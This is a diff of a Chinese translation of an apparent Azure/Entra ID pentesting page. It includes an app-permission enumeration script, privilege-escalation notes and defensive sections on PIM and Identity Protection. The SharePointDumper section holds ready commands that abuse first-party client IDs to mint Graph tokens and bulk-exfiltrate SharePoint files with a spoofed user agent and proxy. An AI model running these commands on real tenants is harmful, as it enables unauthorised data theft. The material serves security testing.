|
||||
有关 Applications 的更多信息,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
当生成一个应用时,会赋予两种类型的权限:
|
||||
当生成 App 时,会授予两类权限:
|
||||
|
||||
- **Permissions** 授予 **Service Principal**
|
||||
- **Permissions** 该 **应用** 可以代表用户拥有并使用。
|
||||
- **权限** 授予 **Service Principal**
|
||||
- **权限** 是 **app** 可以代表用户拥有并使用的。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>查找对非 Microsoft API 具有 API 权限的所有应用程序 (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az" }}
|
||||
@@ -820,17 +895,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> 拥有权限 **`AppRoleAssignment.ReadWrite`** 的应用可以通过给自己授予该角色来**升级为 Global Admin**。\
|
||||
> 更多信息请[**查看此处**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
|
||||
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> 应用在请求令牌时用于证明其身份的秘密字符串称为应用密码。\
|
||||
> 因此,如果找到此**密码**,你可以以该**service principal**的身份**在租户内**进行访问。\
|
||||
> 注意该密码仅在生成时可见(可以更改,但无法再次获取)。\
|
||||
> **应用**的**所有者**可以向其**添加密码**(从而可以冒充该应用)。\
|
||||
> 以这些 service principals 登录的行为**不会被标记为风险**,并且**不会启用 MFA**。
|
||||
> 因此,如果找到这个 **password**,你可以作为该 **service principal** 在 **tenant** 内进行访问。\
|
||||
> 注意该密码仅在生成时可见(你可以更改它,但无法再次取得)。\
|
||||
> 应用的 **owner** 可以为其 **add a password**(因此可以冒充该应用)。\
|
||||
> 以这些 service principals 登录不会被标记为风险,并且它们 **won't have MFA.**
|
||||
|
||||
可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用 App IDs 列表。
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -852,7 +927,7 @@ az identity list --output table
|
||||
|
||||
### Azure 角色
|
||||
|
||||
有关 Azure 角色的更多信息,请参见:
|
||||
有关 Azure 角色的更多信息,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -939,7 +1014,7 @@ Headers = @{
|
||||
|
||||
### Entra ID 角色
|
||||
|
||||
有关 Azure 角色的更多信息,请参阅:
|
||||
有关 Azure 角色的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> 如果设备 (VM) 是 **AzureAD joined**,来自 AzureAD 的用户将 **能够登录**。\
|
||||
> 此外,如果已登录的用户是该设备的 **Owner**,他将成为 **local admin**。
|
||||
> 如果设备(VM)已加入 **AzureAD**,来自 AzureAD 的用户将能够 **登录**。\
|
||||
> 此外,如果已登录的用户是该设备的 **Owner**,他将成为 **本地管理员**。
|
||||
|
||||
### 管理单元
|
||||
|
||||
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
拥有包含 **`Sites.Read.All`** 或 **`Sites.ReadWrite.All`** 的 **delegated Microsoft Graph token** 的攻击者可以通过 Graph 枚举 **sites/drives/items**,然后通过 **SharePoint pre-authentication download URLs** 拉取文件内容(这些是嵌入访问令牌的时限 URL)。The [SharePointDumper](https://github.com/zh54321/SharePointDumper) 脚本自动化完整流程(枚举 → pre-auth downloads),并在每次请求上输出遥测以便检测测试。
|
||||
拥有包含 **`Sites.Read.All`** 或 **`Sites.ReadWrite.All`** 的 **delegated Microsoft Graph token** 的攻击者,可以通过 Graph 枚举 **sites/drives/items**,然后通过 **SharePoint pre-authentication download URLs**(嵌入 access token 的时限 URL)拉取文件内容。[SharePointDumper](https://github.com/zh54321/SharePointDumper) 脚本自动化整个流程(enumeration → pre-auth downloads),并为检测测试生成每次请求的遥测。
|
||||
|
||||
### 获取可用的委派令牌
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper 本身 **does not authenticate**;请提供 access token(可选 refresh token)。
|
||||
- Pre-consented **first-party clients** 可被滥用以在不注册应用的情况下 mint 一个 Graph token。示例 `Invoke-Auth`(来自 [EntraTokenAid](https://github.com/zh54321/EntraTokenAid))的调用:
|
||||
- SharePointDumper 本身**不进行认证**;需提供 access token(可选 refresh token)。
|
||||
- 已预先同意的 **first-party clients** 可被滥用以在不注册 app 的情况下 mint 出 Graph token。示例 `Invoke-Auth`(来自 [EntraTokenAid](https://github.com/zh54321/EntraTokenAid))调用:
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1120,15 +1195,15 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> FOCI TRUE 客户端支持跨设备刷新;FOCI FALSE 客户端通常需要 `-Origin` 来满足 reply URL origin 验证。
|
||||
> FOCI TRUE 客户端支持跨设备刷新;FOCI FALSE 客户端通常需要 `-Origin` 以满足 reply URL 的原点验证。
|
||||
|
||||
### 运行 SharePointDumper 进行 enumeration + exfiltration
|
||||
|
||||
- 基本 dump with custom UA / proxy / throttling:
|
||||
- Basic dump 使用自定义 UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- 作用域控制:包含/排除站点或扩展以及全局上限:
|
||||
- 范围控制:包含/排除站点或扩展及全局上限:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
@@ -1136,24 +1211,24 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **在 HTTP 401 时自动刷新 token** (需要加载 EntraTokenAid):
|
||||
- **HTTP 401 时自动刷新令牌** (需要加载 EntraTokenAid):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
操作说明:
|
||||
|
||||
- 优先使用 **CAE-enabled** tokens 以避免在运行中途过期;尝试刷新不会记录在该工具的 API 日志中。
|
||||
- 为 **Graph + SharePoint** 生成 **CSV/JSON request logs**,并默认对嵌入的 SharePoint 下载 tokens 进行脱敏(可切换)。
|
||||
- 支持 **custom User-Agent**、**HTTP proxy**、**per-request delay + jitter** 以及 **Ctrl+C-safe shutdown**,以便在检测/IR 测试中进行流量整形。
|
||||
- Prefers **CAE-enabled** tokens to avoid mid-run expiry;刷新尝试**不会**记录在工具的 API 日志中。
|
||||
- 生成用于 **Graph + SharePoint** 的 **CSV/JSON 请求日志**,并默认(可切换)对嵌入的 SharePoint 下载令牌进行脱敏。
|
||||
- 支持 **custom User-Agent**、**HTTP proxy**、**per-request delay + jitter** 以及 **Ctrl+C-safe shutdown**,用于在检测/IR 测试期间进行流量整形。
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
## Entra ID 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Privilege Escalation
|
||||
## Azure 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
@@ -1161,29 +1236,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
|
||||
## 防御机制
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
### 特权身份管理 (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) 在 Azure 中有助于防止不必要地向用户分配过度权限。
|
||||
Azure 中的特权身份管理 (PIM) 有助于 **防止不必要地向用户分配过多权限**。
|
||||
|
||||
PIM 的一个主要功能是允许不将角色直接分配给始终处于活动状态的主体,而是将其设置为在一段时间内 **eligible(例如 6 months)**。当用户想要激活该角色时,需要提出申请并说明所需的权限时长(例如 3 hours)。随后需要由 **admin needs to approve** 该请求。
|
||||
注意,用户也可以请求 **extend** 时长。
|
||||
PIM 提供的主要功能之一是,它允许不将角色分配给持续处于活动状态的主体,而是将其设置为 **在一段时间内有资格(例如 6 个月)**。然后,每当用户想要激活该角色时,他需要提出请求并说明所需权限的时间(例如 3 小时)。随后需由一名 **管理员批准** 该请求。\
|
||||
注意,用户也可以请求**延长**时间。
|
||||
|
||||
此外,**PIM send emails**,每当为某人分配特权角色时都会发送电子邮件通知。
|
||||
此外,**PIM 会发送电子邮件**,每当将特权角色分配给某人时。
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
启用 PIM 后,可以为每个角色配置以下要求:
|
||||
启用 PIM 时,可以为每个角色配置某些要求,例如:
|
||||
|
||||
- Maximum duration (hours) of activation
|
||||
- Require MFA on activation
|
||||
- Require Conditional Access acuthenticaiton context
|
||||
- Require justification on activation
|
||||
- Require ticket information on activation
|
||||
- Require approval to activate
|
||||
- Max time to expire the elegible assignments
|
||||
- 以及更多关于在何时以及向谁发送通知的配置,当与该角色相关的某些操作发生时
|
||||
- 激活的最大持续时间(小时)
|
||||
- 激活时要求 MFA
|
||||
- 激活时要求 Conditional Access 认证上下文
|
||||
- 激活时要求说明理由
|
||||
- 激活时要求工单信息
|
||||
- 激活需要审批
|
||||
- 候选分配的最长有效期
|
||||
- 在该角色发生特定操作时,关于何时以及向谁发送通知的更多配置选项
|
||||
|
||||
### Conditional Access Policies
|
||||
### Conditional Access 策略
|
||||
|
||||
Check:
|
||||
|
||||
@@ -1193,21 +1268,21 @@ Check:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection 是一项安全服务,用于 **检测用户或登录尝试是否具有过高风险**,并允许 **block** 该用户或登录尝试。
|
||||
Entra Identity Protection 是一项安全服务,用于 **检测用户或登录是否存在过高风险**,并允许 **阻止**该用户或登录尝试。
|
||||
|
||||
管理员可以将其配置为在风险为 "Low and above"、"Medium and above" 或 "High" 时 **block** 尝试。不过,默认情况下它是完全 **disabled**:
|
||||
管理员可以配置在风险为“Low and above”、“Medium and above”或“High”时**阻止**尝试。尽管默认情况下它是完全**禁用**的:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 目前建议通过 Conditional Access 策略添加这些限制,在那里可以配置相同的选项。
|
||||
> 现在建议通过 Conditional Access 策略添加这些限制,因为在那可以配置同样的选项。
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录失败时锁定账户,帮助防止弱密码被滥用**。
|
||||
它还允许 **ban a custom password list**(需由你提供)。
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,通过在多次登录失败时锁定帐户,**帮助防止弱密码被滥用**。\
|
||||
它还允许**禁止自定义密码列表**(需你提供)。
|
||||
|
||||
它可以 **applied both** 于云端和本地 Active Directory。
|
||||
它可以**同时应用**于云端和本地 Active Directory。
|
||||
|
||||
默认模式为 **Audit**:
|
||||
|
||||
|
||||
Reference in New Issue
Block a user